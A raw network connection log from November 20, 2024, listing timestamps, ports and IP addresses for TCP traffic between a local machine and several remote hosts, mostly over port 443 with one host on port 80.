Nov 20, 2024 21:05:54.795990944 CET	443	49874	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:54.796180964 CET	49874	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:54.796226025 CET	49879	443	192.168.2.7	20.1.248.118
Nov 20, 2024 21:05:54.796390057 CET	443	49879	20.1.248.118	192.168.2.7
Nov 20, 2024 21:05:54.797115088 CET	49879	443	192.168.2.7	20.1.248.118
Nov 20, 2024 21:05:54.800043106 CET	49874	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:54.800043106 CET	49874	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:54.800057888 CET	443	49874	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:54.800067902 CET	443	49874	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:54.803915977 CET	49885	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:54.803975105 CET	443	49885	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:54.804136038 CET	49885	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:54.813949108 CET	49885	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:54.813966990 CET	443	49885	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:54.839323044 CET	443	49879	20.1.248.118	192.168.2.7
Nov 20, 2024 21:05:55.091778040 CET	49886	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:55.091809034 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:55.093473911 CET	49886	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:55.093640089 CET	49886	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:55.093653917 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:55.098243952 CET	49887	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:55.098264933 CET	443	49887	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:55.098562956 CET	49887	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:55.098562956 CET	49887	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:55.098586082 CET	443	49887	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:55.102751017 CET	49888	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:55.102797985 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:55.103142023 CET	49888	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:55.103302002 CET	49888	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:55.103327990 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:55.270700932 CET	443	49879	20.1.248.118	192.168.2.7
Nov 20, 2024 21:05:55.270735025 CET	443	49879	20.1.248.118	192.168.2.7
Nov 20, 2024 21:05:55.270781040 CET	49879	443	192.168.2.7	20.1.248.118
Nov 20, 2024 21:05:55.270801067 CET	443	49879	20.1.248.118	192.168.2.7
Nov 20, 2024 21:05:55.270888090 CET	443	49879	20.1.248.118	192.168.2.7
Nov 20, 2024 21:05:55.270945072 CET	49879	443	192.168.2.7	20.1.248.118
Nov 20, 2024 21:05:55.271833897 CET	49879	443	192.168.2.7	20.1.248.118
Nov 20, 2024 21:05:55.271847010 CET	443	49879	20.1.248.118	192.168.2.7
Nov 20, 2024 21:05:55.629158020 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:55.629220009 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:55.729638100 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:55.784956932 CET	443	49880	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:55.785526991 CET	49880	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:55.785612106 CET	443	49880	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:55.786319971 CET	49880	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:55.786336899 CET	443	49880	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:55.849169016 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:56.053553104 CET	443	49881	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.054199934 CET	49881	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.054282904 CET	443	49881	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.054860115 CET	49881	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.054874897 CET	443	49881	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.089138031 CET	443	49882	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.089593887 CET	49882	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.089679956 CET	443	49882	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.090079069 CET	49882	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.090091944 CET	443	49882	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.177288055 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:56.177388906 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:56.177602053 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:56.177617073 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:56.177673101 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:56.183264017 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:56.189136028 CET	443	49884	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.190578938 CET	49884	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.190607071 CET	443	49884	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.191279888 CET	49884	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.191294909 CET	443	49884	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.230839968 CET	443	49883	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:56.231504917 CET	49883	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:56.231548071 CET	443	49883	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:56.232801914 CET	49883	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:56.232816935 CET	443	49883	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:56.232847929 CET	49883	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:56.232873917 CET	443	49883	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:56.234358072 CET	443	49880	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.234422922 CET	443	49880	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.235152006 CET	49880	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.235600948 CET	49880	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.235626936 CET	443	49880	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.235644102 CET	49880	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.235651970 CET	443	49880	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.239341974 CET	49889	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.239379883 CET	443	49889	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.239526033 CET	49889	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.240238905 CET	49889	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.240262032 CET	443	49889	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.303405046 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:56.326703072 CET	443	49887	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.327183008 CET	49887	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:56.327198029 CET	443	49887	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.328421116 CET	443	49887	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.328748941 CET	49887	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:56.328892946 CET	49887	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:56.328907967 CET	443	49887	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.328929901 CET	443	49887	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.369756937 CET	49887	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:56.398502111 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.398916960 CET	49888	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:56.398951054 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.399566889 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.399910927 CET	49886	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:56.399928093 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.400062084 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.400127888 CET	49888	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:56.400492907 CET	49888	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:56.400557995 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.400682926 CET	49888	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:56.400691032 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.400803089 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.401293039 CET	49886	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:56.401429892 CET	49886	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:56.401438951 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.401551962 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.453711033 CET	49886	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:56.453744888 CET	49888	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:56.499985933 CET	443	49881	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.500058889 CET	443	49881	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.500253916 CET	49881	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.500308037 CET	49881	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.500308037 CET	49881	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.500334024 CET	443	49881	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.500349998 CET	443	49881	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.503015995 CET	49890	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.503060102 CET	443	49890	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.503238916 CET	49890	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.503712893 CET	49890	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.503729105 CET	443	49890	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.597212076 CET	443	49885	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.597693920 CET	49885	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.597757101 CET	443	49885	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.598200083 CET	49885	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.598217964 CET	443	49885	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.630608082 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:56.630695105 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:56.634346008 CET	443	49884	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.634428024 CET	443	49884	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.635065079 CET	49884	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.656738043 CET	49884	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.656774044 CET	443	49884	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.744954109 CET	49891	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.745003939 CET	443	49891	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.745220900 CET	49891	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.745420933 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:56.750252008 CET	49891	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.750264883 CET	443	49891	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.804569960 CET	443	49882	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.805077076 CET	443	49882	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.805155039 CET	49882	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.806832075 CET	49882	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.806880951 CET	443	49882	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.823618889 CET	49892	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:56.823685884 CET	443	49892	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:56.823848963 CET	49892	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:56.824337006 CET	49892	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:56.824350119 CET	443	49892	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:56.865624905 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:56.890794039 CET	443	49887	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.890860081 CET	443	49887	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.890882015 CET	443	49887	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.890922070 CET	443	49887	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.890928984 CET	49887	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:56.890957117 CET	443	49887	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.890974998 CET	443	49887	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.890991926 CET	49887	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:56.891006947 CET	49887	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:56.891031027 CET	49887	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:56.896991968 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.897013903 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.897022009 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.897038937 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.897044897 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.897047997 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.897075891 CET	49886	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:56.897089958 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.897109985 CET	49886	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:56.897135973 CET	49886	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:56.927620888 CET	49893	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.927648067 CET	443	49893	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.928050995 CET	49893	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.930449963 CET	49893	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:56.930460930 CET	443	49893	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:56.986263037 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.986293077 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.986299038 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.986351013 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.986382008 CET	49888	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:56.986399889 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.986421108 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.986460924 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:56.986485004 CET	49888	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:56.986485004 CET	49888	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:56.986507893 CET	49888	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.007369041 CET	443	49887	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.007460117 CET	443	49887	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.007473946 CET	49887	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.007491112 CET	443	49887	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.007519007 CET	49887	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.007549047 CET	49887	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.015647888 CET	443	49887	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.015713930 CET	49887	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.042192936 CET	443	49885	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:57.042247057 CET	443	49885	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:57.042476892 CET	49885	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:57.042541027 CET	49885	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:57.042584896 CET	443	49885	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:57.042614937 CET	49885	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:57.042630911 CET	443	49885	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:57.045548916 CET	49894	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:57.045578003 CET	443	49894	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:57.045815945 CET	49894	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:57.046022892 CET	49894	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:57.046041012 CET	443	49894	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:57.082449913 CET	443	49887	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.082501888 CET	443	49887	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.082556963 CET	49887	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.082571030 CET	443	49887	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.082600117 CET	49887	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.082627058 CET	49887	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.102849007 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.102876902 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.102950096 CET	49886	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.102967024 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.103014946 CET	49886	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.103037119 CET	49886	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.105705023 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.105734110 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.105804920 CET	49888	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.105844975 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.105884075 CET	49888	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.105904102 CET	49888	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.111202002 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.111269951 CET	49886	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.111284971 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.111351967 CET	49888	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.163777113 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.163824081 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.163877964 CET	49888	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.163911104 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.163934946 CET	49888	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.163981915 CET	49888	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.181312084 CET	443	49887	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.181361914 CET	443	49887	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.181387901 CET	49887	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.181402922 CET	443	49887	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.181435108 CET	49887	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.181448936 CET	49887	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.187082052 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.187103987 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.187153101 CET	49886	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.187160969 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.187191963 CET	49886	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.187218904 CET	49886	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.194580078 CET	443	49887	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.194655895 CET	49887	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.202475071 CET	443	49887	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.202544928 CET	49887	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.202553988 CET	443	49887	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.202610970 CET	49887	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.202642918 CET	443	49887	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.202683926 CET	49887	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.203192949 CET	49887	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.203208923 CET	443	49887	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.286359072 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.286382914 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.286453962 CET	49888	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.286494017 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.286542892 CET	49888	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.288310051 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.288333893 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.288383007 CET	49886	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.288393021 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.288429022 CET	49886	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.288500071 CET	49886	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.299535036 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.299664974 CET	49888	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.302232027 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.302369118 CET	49886	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.302630901 CET	443	49883	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:57.302696943 CET	443	49883	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:57.302736998 CET	443	49883	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:57.302798033 CET	49883	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:57.302831888 CET	443	49883	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:57.302849054 CET	49883	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:57.310214043 CET	443	49883	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:57.312613010 CET	49883	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:57.313412905 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.313468933 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.313493967 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.313512087 CET	49888	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.313584089 CET	49888	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.329447985 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.329467058 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.329557896 CET	49886	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.329565048 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.329610109 CET	49886	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.388153076 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.388170004 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.388365984 CET	49886	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.388374090 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.388421059 CET	49886	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.468930960 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.469006062 CET	49886	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.469014883 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.469028950 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.469105005 CET	49886	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.645111084 CET	49883	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:57.645196915 CET	443	49883	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:57.645240068 CET	49883	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:57.645261049 CET	443	49883	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:57.651472092 CET	49888	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.651539087 CET	443	49888	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.653809071 CET	49886	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:57.653826952 CET	443	49886	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:57.663248062 CET	49895	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:57.663362980 CET	443	49895	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:57.663455963 CET	49895	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:57.664844036 CET	49895	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:57.664881945 CET	443	49895	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:57.685359001 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:57.685478926 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:57.735116959 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:57.781492949 CET	49896	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:57.781526089 CET	443	49896	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:57.781604052 CET	49896	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:57.782433033 CET	49896	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:57.782460928 CET	443	49896	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:57.838392019 CET	49897	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:57.838438034 CET	443	49897	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:57.838767052 CET	49897	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:57.839047909 CET	49897	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:57.839066982 CET	443	49897	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:57.854895115 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:58.068388939 CET	49898	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:58.068439960 CET	443	49898	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:58.068511963 CET	49898	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:58.068994999 CET	49898	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:58.069005966 CET	443	49898	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:58.115664959 CET	443	49889	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:58.116130114 CET	49889	443	192.168.2.7	13.107.246.63
